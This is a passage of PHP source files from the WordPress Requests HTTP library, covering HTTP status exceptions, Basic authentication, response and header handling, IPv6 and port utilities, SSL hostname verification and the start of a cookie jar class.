/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 305 Use Proxy responses
 *
 * @package Requests\Exceptions
 */
final class Status305 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 305;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Use Proxy';
}
<?php
/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 401 Unauthorized responses
 *
 * @package Requests\Exceptions
 */
final class Status401 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 401;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unauthorized';
}
<?php
/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 431 Request Header Fields Too Large responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status431 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 431;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Request Header Fields Too Large';
}
<?php
/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 415 Unsupported Media Type responses
 *
 * @package Requests\Exceptions
 */
final class Status415 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 415;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Unsupported Media Type';
}
<?php
/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 505 HTTP Version Not Supported responses
 *
 * @package Requests\Exceptions
 */
final class Status505 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 505;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'HTTP Version Not Supported';
}
<?php
/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 500 Internal Server Error responses
 *
 * @package Requests\Exceptions
 */
final class Status500 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 500;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Internal Server Error';
}
<?php
/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 410 Gone responses
 *
 * @package Requests\Exceptions
 */
final class Status410 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 410;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Gone';
}
<?php
/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Http;

use WpOrg\Requests\Exception\Http;

/**
 * Exception for 428 Precondition Required responses
 *
 * @link https://tools.ietf.org/html/rfc6585
 *
 * @package Requests\Exceptions
 */
final class Status428 extends Http {
	/**
	 * HTTP status code
	 *
	 * @var integer
	 */
	protected $code = 428;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	protected $reason = 'Precondition Required';
}
<?php

namespace WpOrg\Requests\Exception;

use InvalidArgumentException;

/**
 * Exception for an invalid argument passed.
 *
 * @package Requests\Exceptions
 * @since   2.0.0
 */
final class InvalidArgument extends InvalidArgumentException {

	/**
	 * Create a new invalid argument exception with a standardized text.
	 *
	 * @param int    $position The argument position in the function signature. 1-based.
	 * @param string $name     The argument name in the function signature.
	 * @param string $expected The argument type expected as a string.
	 * @param string $received The actual argument type received.
	 *
	 * @return \WpOrg\Requests\Exception\InvalidArgument
	 */
	public static function create($position, $name, $expected, $received) {
		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
		$stack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2);

		return new self(
			sprintf(
				'%s::%s(): Argument #%d (%s) must be of type %s, %s given',
				$stack[1]['class'],
				$stack[1]['function'],
				$position,
				$name,
				$expected,
				$received
			)
		);
	}
}
<?php
/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */

namespace WpOrg\Requests\Exception\Transport;

use WpOrg\Requests\Exception\Transport;

/**
 * CURL Transport Exception.
 *
 * @package Requests\Exceptions
 */
final class Curl extends Transport {

	const EASY  = 'cURLEasy';
	const MULTI = 'cURLMulti';
	const SHARE = 'cURLShare';

	/**
	 * cURL error code
	 *
	 * @var integer
	 */
	protected $code = -1;

	/**
	 * Which type of cURL error
	 *
	 * EASY|MULTI|SHARE
	 *
	 * @var string
	 */
	protected $type = 'Unknown';

	/**
	 * Clear text error message
	 *
	 * @var string
	 */
	protected $reason = 'Unknown';

	/**
	 * Create a new exception.
	 *
	 * @param string $message Exception message.
	 * @param string $type    Exception type.
	 * @param mixed  $data    Associated data, if applicable.
	 * @param int    $code    Exception numerical code, if applicable.
	 */
	public function __construct($message, $type, $data = null, $code = 0) {
		if ($type !== null) {
			$this->type = $type;
		}

		if ($code !== null) {
			$this->code = (int) $code;
		}

		if ($message !== null) {
			$this->reason = $message;
		}

		$message = sprintf('%d %s', $this->code, $this->reason);
		parent::__construct($message, $this->type, $data, $this->code);
	}

	/**
	 * Get the error message.
	 *
	 * @return string
	 */
	public function getReason() {
		return $this->reason;
	}

}
<?php
/**
 * Basic Authentication provider
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests\Auth;

use WpOrg\Requests\Auth;
use WpOrg\Requests\Exception\ArgumentCount;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;

/**
 * Basic Authentication provider
 *
 * Provides a handler for Basic HTTP authentication via the Authorization
 * header.
 *
 * @package Requests\Authentication
 */
class Basic implements Auth {
	/**
	 * Username
	 *
	 * @var string
	 */
	public $user;

	/**
	 * Password
	 *
	 * @var string
	 */
	public $pass;

	/**
	 * Constructor
	 *
	 * @since 2.0 Throws an `InvalidArgument` exception.
	 * @since 2.0 Throws an `ArgumentCount` exception instead of the Requests base `Exception.
	 *
	 * @param array|null $args Array of user and password. Must have exactly two elements
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array or null.
	 * @throws \WpOrg\Requests\Exception\ArgumentCount   On incorrect number of array elements (`authbasicbadargs`).
	 */
	public function __construct($args = null) {
		if (is_array($args)) {
			if (count($args) !== 2) {
				throw ArgumentCount::create('an array with exactly two elements', count($args), 'authbasicbadargs');
			}

			list($this->user, $this->pass) = $args;
			return;
		}

		if ($args !== null) {
			throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
		}
	}

	/**
	 * Register the necessary callbacks
	 *
	 * @see \WpOrg\Requests\Auth\Basic::curl_before_send()
	 * @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks) {
		$hooks->register('curl.before_send', [$this, 'curl_before_send']);
		$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
	}

	/**
	 * Set cURL parameters before the data is sent
	 *
	 * @param resource|\CurlHandle $handle cURL handle
	 */
	public function curl_before_send(&$handle) {
		curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
	}

	/**
	 * Add extra headers to the request before sending
	 *
	 * @param string $out HTTP header string
	 */
	public function fsockopen_header(&$out) {
		$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
	}

	/**
	 * Get the authentication string (user:pass)
	 *
	 * @return string
	 */
	public function getAuthString() {
		return $this->user . ':' . $this->pass;
	}
}
<?php
/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */

namespace WpOrg\Requests;

/**
 * Base HTTP transport
 *
 * @package Requests\Transport
 */
interface Transport {
	/**
	 * Perform a request
	 *
	 * @param string $url URL to request
	 * @param array $headers Associative array of request headers
	 * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD
	 * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return string Raw HTTP result
	 */
	public function request($url, $headers = [], $data = [], $options = []);

	/**
	 * Send multiple requests simultaneously
	 *
	 * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()}
	 * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation
	 * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well)
	 */
	public function request_multiple($requests, $options);

	/**
	 * Self-test whether the transport can be used.
	 *
	 * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport can be used.
	 */
	public static function test($capabilities = []);
}
<?php
/**
 * Authentication provider interface
 *
 * @package Requests\Authentication
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Hooks;

/**
 * Authentication provider interface
 *
 * Implement this interface to act as an authentication provider.
 *
 * Parameters should be passed via the constructor where possible, as this
 * makes it much easier for users to use your provider.
 *
 * @see \WpOrg\Requests\Hooks
 *
 * @package Requests\Authentication
 */
interface Auth {
	/**
	 * Register hooks as needed
	 *
	 * This method is called in {@see \WpOrg\Requests\Requests::request()} when the user
	 * has set an instance as the 'auth' option. Use this callback to register all the
	 * hooks you'll need.
	 *
	 * @see \WpOrg\Requests\Hooks::register()
	 * @param \WpOrg\Requests\Hooks $hooks Hook system
	 */
	public function register(Hooks $hooks);
}
<?php
/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\Http;
use WpOrg\Requests\Response\Headers;

/**
 * HTTP response class
 *
 * Contains a response from \WpOrg\Requests\Requests::request()
 *
 * @package Requests
 */
class Response {

	/**
	 * Response body
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Raw HTTP data from the transport
	 *
	 * @var string
	 */
	public $raw = '';

	/**
	 * Headers, as an associative array
	 *
	 * @var \WpOrg\Requests\Response\Headers Array-like object representing headers
	 */
	public $headers = [];

	/**
	 * Status code, false if non-blocking
	 *
	 * @var integer|boolean
	 */
	public $status_code = false;

	/**
	 * Protocol version, false if non-blocking
	 *
	 * @var float|boolean
	 */
	public $protocol_version = false;

	/**
	 * Whether the request succeeded or not
	 *
	 * @var boolean
	 */
	public $success = false;

	/**
	 * Number of redirects the request used
	 *
	 * @var integer
	 */
	public $redirects = 0;

	/**
	 * URL requested
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Previous requests (from redirects)
	 *
	 * @var array Array of \WpOrg\Requests\Response objects
	 */
	public $history = [];

	/**
	 * Cookies from the request
	 *
	 * @var \WpOrg\Requests\Cookie\Jar Array-like object representing a cookie jar
	 */
	public $cookies = [];

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->headers = new Headers();
		$this->cookies = new Jar();
	}

	/**
	 * Is the response a redirect?
	 *
	 * @return boolean True if redirect (3xx status), false if not.
	 */
	public function is_redirect() {
		$code = $this->status_code;
		return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
	}

	/**
	 * Throws an exception if the request was not successful
	 *
	 * @param boolean $allow_redirects Set to false to throw on a 3xx as well
	 *
	 * @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
	 * @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
	 */
	public function throw_for_status($allow_redirects = true) {
		if ($this->is_redirect()) {
			if ($allow_redirects !== true) {
				throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
			}
		} elseif (!$this->success) {
			$exception = Http::get_class($this->status_code);
			throw new $exception(null, $this);
		}
	}

	/**
	 * JSON decode the response body.
	 *
	 * The method parameters are the same as those for the PHP native `json_decode()` function.
	 *
	 * @link https://php.net/json-decode
	 *
	 * @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
	 *                               When `false`, JSON objects will be returned as objects.
	 *                               When `null`, JSON objects will be returned as associative arrays
	 *                               or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
	 *                               Defaults to `true` (in contrast to the PHP native default of `null`).
	 * @param int       $depth       Optional. Maximum nesting depth of the structure being decoded.
	 *                               Defaults to `512`.
	 * @param int       $options     Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
	 *                               JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
	 *                               Defaults to `0` (no options set).
	 *
	 * @return array
	 *
	 * @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
	 */
	public function decode_body($associative = true, $depth = 512, $options = 0) {
		$data = json_decode($this->body, $associative, $depth, $options);

		if (json_last_error() !== JSON_ERROR_NONE) {
			$last_error = json_last_error_msg();
			throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
		}

		return $data;
	}
}
<?php
/**
 * Class to validate and to work with IPv6 addresses
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Class to validate and to work with IPv6 addresses
 *
 * This was originally based on the PEAR class of the same name, but has been
 * entirely rewritten.
 *
 * @package Requests\Utilities
 */
final class Ipv6 {
	/**
	 * Uncompresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and expands the '::' to
	 * the required number of zero pieces.
	 *
	 * Example:  FF01::101   ->  FF01:0:0:0:0:0:0:101
	 *           ::1         ->  0:0:0:0:0:0:0:1
	 *
	 * @author Alexander Merz <alexander.merz@web.de>
	 * @author elfrink at introweb dot nl
	 * @author Josh Peck <jmp at joshpeck dot org>
	 * @copyright 2003-2005 The PHP Group
	 * @license https://opensource.org/licenses/bsd-license.php
	 *
	 * @param string|Stringable $ip An IPv6 address
	 * @return string The uncompressed IPv6 address
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function uncompress($ip) {
		if (InputValidator::is_string_or_stringable($ip) === false) {
			throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip));
		}

		$ip = (string) $ip;

		if (substr_count($ip, '::') !== 1) {
			return $ip;
		}

		list($ip1, $ip2) = explode('::', $ip);
		$c1              = ($ip1 === '') ? -1 : substr_count($ip1, ':');
		$c2              = ($ip2 === '') ? -1 : substr_count($ip2, ':');

		if (strpos($ip2, '.') !== false) {
			$c2++;
		}

		if ($c1 === -1 && $c2 === -1) {
			// ::
			$ip = '0:0:0:0:0:0:0:0';
		} elseif ($c1 === -1) {
			// ::xxx
			$fill = str_repeat('0:', 7 - $c2);
			$ip   = str_replace('::', $fill, $ip);
		} elseif ($c2 === -1) {
			// xxx::
			$fill = str_repeat(':0', 7 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		} else {
			// xxx::xxx
			$fill = ':' . str_repeat('0:', 6 - $c2 - $c1);
			$ip   = str_replace('::', $fill, $ip);
		}

		return $ip;
	}

	/**
	 * Compresses an IPv6 address
	 *
	 * RFC 4291 allows you to compress consecutive zero pieces in an address to
	 * '::'. This method expects a valid IPv6 address and compresses consecutive
	 * zero pieces to '::'.
	 *
	 * Example:  FF01:0:0:0:0:0:0:101   ->  FF01::101
	 *           0:0:0:0:0:0:0:1        ->  ::1
	 *
	 * @see \WpOrg\Requests\Ipv6::uncompress()
	 *
	 * @param string $ip An IPv6 address
	 * @return string The compressed IPv6 address
	 */
	public static function compress($ip) {
		// Prepare the IP to be compressed.
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip       = self::uncompress($ip);
		$ip_parts = self::split_v6_v4($ip);

		// Replace all leading zeros
		$ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]);

		// Find bunches of zeros
		if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) {
			$max = 0;
			$pos = null;
			foreach ($matches[0] as $match) {
				if (strlen($match[0]) > $max) {
					$max = strlen($match[0]);
					$pos = $match[1];
				}
			}

			$ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max);
		}

		if ($ip_parts[1] !== '') {
			return implode(':', $ip_parts);
		} else {
			return $ip_parts[0];
		}
	}

	/**
	 * Splits an IPv6 address into the IPv6 and IPv4 representation parts
	 *
	 * RFC 4291 allows you to represent the last two parts of an IPv6 address
	 * using the standard IPv4 representation
	 *
	 * Example:  0:0:0:0:0:0:13.1.68.3
	 *           0:0:0:0:0:FFFF:129.144.52.38
	 *
	 * @param string $ip An IPv6 address
	 * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part
	 */
	private static function split_v6_v4($ip) {
		if (strpos($ip, '.') !== false) {
			$pos       = strrpos($ip, ':');
			$ipv6_part = substr($ip, 0, $pos);
			$ipv4_part = substr($ip, $pos + 1);
			return [$ipv6_part, $ipv4_part];
		} else {
			return [$ip, ''];
		}
	}

	/**
	 * Checks an IPv6 address
	 *
	 * Checks if the given IP is a valid IPv6 address
	 *
	 * @param string $ip An IPv6 address
	 * @return bool true if $ip is a valid IPv6 address
	 */
	public static function check_ipv6($ip) {
		// Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method.
		$ip                = self::uncompress($ip);
		list($ipv6, $ipv4) = self::split_v6_v4($ip);
		$ipv6              = explode(':', $ipv6);
		$ipv4              = explode('.', $ipv4);
		if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) {
			foreach ($ipv6 as $ipv6_part) {
				// The section can't be empty
				if ($ipv6_part === '') {
					return false;
				}

				// Nor can it be over four characters
				if (strlen($ipv6_part) > 4) {
					return false;
				}

				// Remove leading zeros (this is safe because of the above)
				$ipv6_part = ltrim($ipv6_part, '0');
				if ($ipv6_part === '') {
					$ipv6_part = '0';
				}

				// Check the value is valid
				$value = hexdec($ipv6_part);
				if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) {
					return false;
				}
			}

			if (count($ipv4) === 4) {
				foreach ($ipv4 as $ipv4_part) {
					$value = (int) $ipv4_part;
					if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) {
						return false;
					}
				}
			}

			return true;
		} else {
			return false;
		}
	}
}
<?php
/**
 * Port utilities for Requests
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;

/**
 * Find the correct port depending on the Request type.
 *
 * @package Requests\Utilities
 * @since   2.0.0
 */
final class Port {

	/**
	 * Port to use with Acap requests.
	 *
	 * @var int
	 */
	const ACAP = 674;

	/**
	 * Port to use with Dictionary requests.
	 *
	 * @var int
	 */
	const DICT = 2628;

	/**
	 * Port to use with HTTP requests.
	 *
	 * @var int
	 */
	const HTTP = 80;

	/**
	 * Port to use with HTTP over SSL requests.
	 *
	 * @var int
	 */
	const HTTPS = 443;

	/**
	 * Retrieve the port number to use.
	 *
	 * @param string $type Request type.
	 *                     The following requests types are supported:
	 *                     'acap', 'dict', 'http' and 'https'.
	 *
	 * @return int
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When a non-string input has been passed.
	 * @throws \WpOrg\Requests\Exception                 When a non-supported port is requested ('portnotsupported').
	 */
	public static function get($type) {
		if (!is_string($type)) {
			throw InvalidArgument::create(1, '$type', 'string', gettype($type));
		}

		$type = strtoupper($type);
		if (!defined("self::{$type}")) {
			$message = sprintf('Invalid port type (%s) passed', $type);
			throw new Exception($message, 'portnotsupported');
		}

		return constant("self::{$type}");
	}
}
<?php
/**
 * SSL utilities for Requests
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * SSL utilities for Requests
 *
 * Collection of utilities for working with and verifying SSL certificates.
 *
 * @package Requests\Utilities
 */
final class Ssl {
	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string|Stringable $host Host name to verify against
	 * @param array $cert Certificate data from openssl_x509_parse()
	 * @return bool
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $host argument is not a string or a stringable object.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cert argument is not an array or array accessible.
	 */
	public static function verify_certificate($host, $cert) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		if (InputValidator::has_array_access($cert) === false) {
			throw InvalidArgument::create(2, '$cert', 'array|ArrayAccess', gettype($cert));
		}

		$has_dns_alt = false;

		// Check the subjectAltName
		if (!empty($cert['extensions']['subjectAltName'])) {
			$altnames = explode(',', $cert['extensions']['subjectAltName']);
			foreach ($altnames as $altname) {
				$altname = trim($altname);
				if (strpos($altname, 'DNS:') !== 0) {
					continue;
				}

				$has_dns_alt = true;

				// Strip the 'DNS:' prefix and trim whitespace
				$altname = trim(substr($altname, 4));

				// Check for a match
				if (self::match_domain($host, $altname) === true) {
					return true;
				}
			}

			if ($has_dns_alt === true) {
				return false;
			}
		}

		// Fall back to checking the common name if we didn't get any dNSName
		// alt names, as per RFC2818
		if (!empty($cert['subject']['CN'])) {
			// Check for a match
			return (self::match_domain($host, $cert['subject']['CN']) === true);
		}

		return false;
	}

	/**
	 * Verify that a reference name is valid
	 *
	 * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules:
	 * - Wildcards can only occur in a name with more than 3 components
	 * - Wildcards can only occur as the last character in the first
	 *   component
	 * - Wildcards may be preceded by additional characters
	 *
	 * We modify these rules to be a bit stricter and only allow the wildcard
	 * character to be the full first component; that is, with the exclusion of
	 * the third rule.
	 *
	 * @param string|Stringable $reference Reference dNSName
	 * @return boolean Is the name valid?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function verify_reference_name($reference) {
		if (InputValidator::is_string_or_stringable($reference) === false) {
			throw InvalidArgument::create(1, '$reference', 'string|Stringable', gettype($reference));
		}

		if ($reference === '') {
			return false;
		}

		if (preg_match('`\s`', $reference) > 0) {
			// Whitespace detected. This can never be a dNSName.
			return false;
		}

		$parts = explode('.', $reference);
		if ($parts !== array_filter($parts)) {
			// DNSName cannot contain two dots next to each other.
			return false;
		}

		// Check the first part of the name
		$first = array_shift($parts);

		if (strpos($first, '*') !== false) {
			// Check that the wildcard is the full part
			if ($first !== '*') {
				return false;
			}

			// Check that we have at least 3 components (including first)
			if (count($parts) < 2) {
				return false;
			}
		}

		// Check the remaining parts
		foreach ($parts as $part) {
			if (strpos($part, '*') !== false) {
				return false;
			}
		}

		// Nothing found, verified!
		return true;
	}

	/**
	 * Match a hostname against a dNSName reference
	 *
	 * @param string|Stringable $host Requested host
	 * @param string|Stringable $reference dNSName to match against
	 * @return boolean Does the domain match?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object.
	 */
	public static function match_domain($host, $reference) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		// Check if the reference is blocklisted first
		if (self::verify_reference_name($reference) !== true) {
			return false;
		}

		// Check for a direct match
		if ((string) $host === (string) $reference) {
			return true;
		}

		// Calculate the valid wildcard match if the host is not an IP address
		// Also validates that the host has 3 parts or more, as per Firefox's ruleset,
		// as a wildcard reference is only allowed with 3 parts or more, so the
		// comparison will never match if host doesn't contain 3 parts or more as well.
		if (ip2long($host) === false) {
			$parts    = explode('.', $host);
			$parts[0] = '*';
			$wildcard = implode('.', $parts);
			if ($wildcard === (string) $reference) {
				return true;
			}
		}

		return false;
	}
}
<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */

namespace WpOrg\Requests\Response;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\CaseInsensitiveDictionary;
use WpOrg\Requests\Utility\FilteredIterator;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests
 */
class Headers extends CaseInsensitiveDictionary {
	/**
	 * Get the given header
	 *
	 * Unlike {@see \WpOrg\Requests\Response\Headers::getValues()}, this returns a string. If there are
	 * multiple values, it concatenates them with a comma as per RFC2616.
	 *
	 * Avoid using this where commas may be used unquoted in values, such as
	 * Set-Cookie headers.
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return string|null Header value
	 */
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->flatten($this->data[$offset]);
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			$this->data[$offset] = [];
		}

		$this->data[$offset][] = $value;
	}

	/**
	 * Get all values for a given header
	 *
	 * @param string $offset Name of the header to retrieve.
	 * @return array|null Header values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not valid as an array key.
	 */
	public function getValues($offset) {
		if (!is_string($offset) && !is_int($offset)) {
			throw InvalidArgument::create(1, '$offset', 'string|int', gettype($offset));
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Flattens a value into a string
	 *
	 * Converts an array into a string by imploding values with a comma, as per
	 * RFC2616's rules for folding headers.
	 *
	 * @param string|array $value Value to flatten
	 * @return string Flattened value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or an array.
	 */
	public function flatten($value) {
		if (is_string($value)) {
			return $value;
		}

		if (is_array($value)) {
			return implode(',', $value);
		}

		throw InvalidArgument::create(1, '$value', 'string|array', gettype($value));
	}

	/**
	 * Get an iterator for the data
	 *
	 * Converts the internally stored values to a comma-separated string if there is more
	 * than one value for a key.
	 *
	 * @return \ArrayIterator
	 */
	public function getIterator() {
		return new FilteredIterator($this->data, [$this, 'flatten']);
	}
}
<?php
/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests\Cookie;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Cookie;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response;

/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */
class Jar implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $cookies = [];

	/**
	 * Create a new jar
	 *
	 * @param array $cookies Existing cookie values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array.
	 */
	public function __construct($cookies = []) {
		if (is_array($cookies) === false) {
			throw InvalidArgument::create(1, '$cookies', 'array', gettype($cookies));
		}

		$this->cookies = $cookies;
	}

	/**
	 * Normalise cookie data into a \WpOrg\Requests\Cookie
	 *
	 * @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object).
	 * @param string                        $key    Optional. The name for this cookie.
	 * @return \WpOrg\Requests\Cookie
	 */
	public function normalize_cookie($cookie, $key = '') {
		if ($cookie instanceof Cookie) {
			return $cookie;
		}

		return Cookie::parse($cookie, $key);
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		return isset($this->cookies[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if offsetExists is false)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (!isset($this->cookies[$offset])) {
			return null;
		}

		return $this->cookies[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
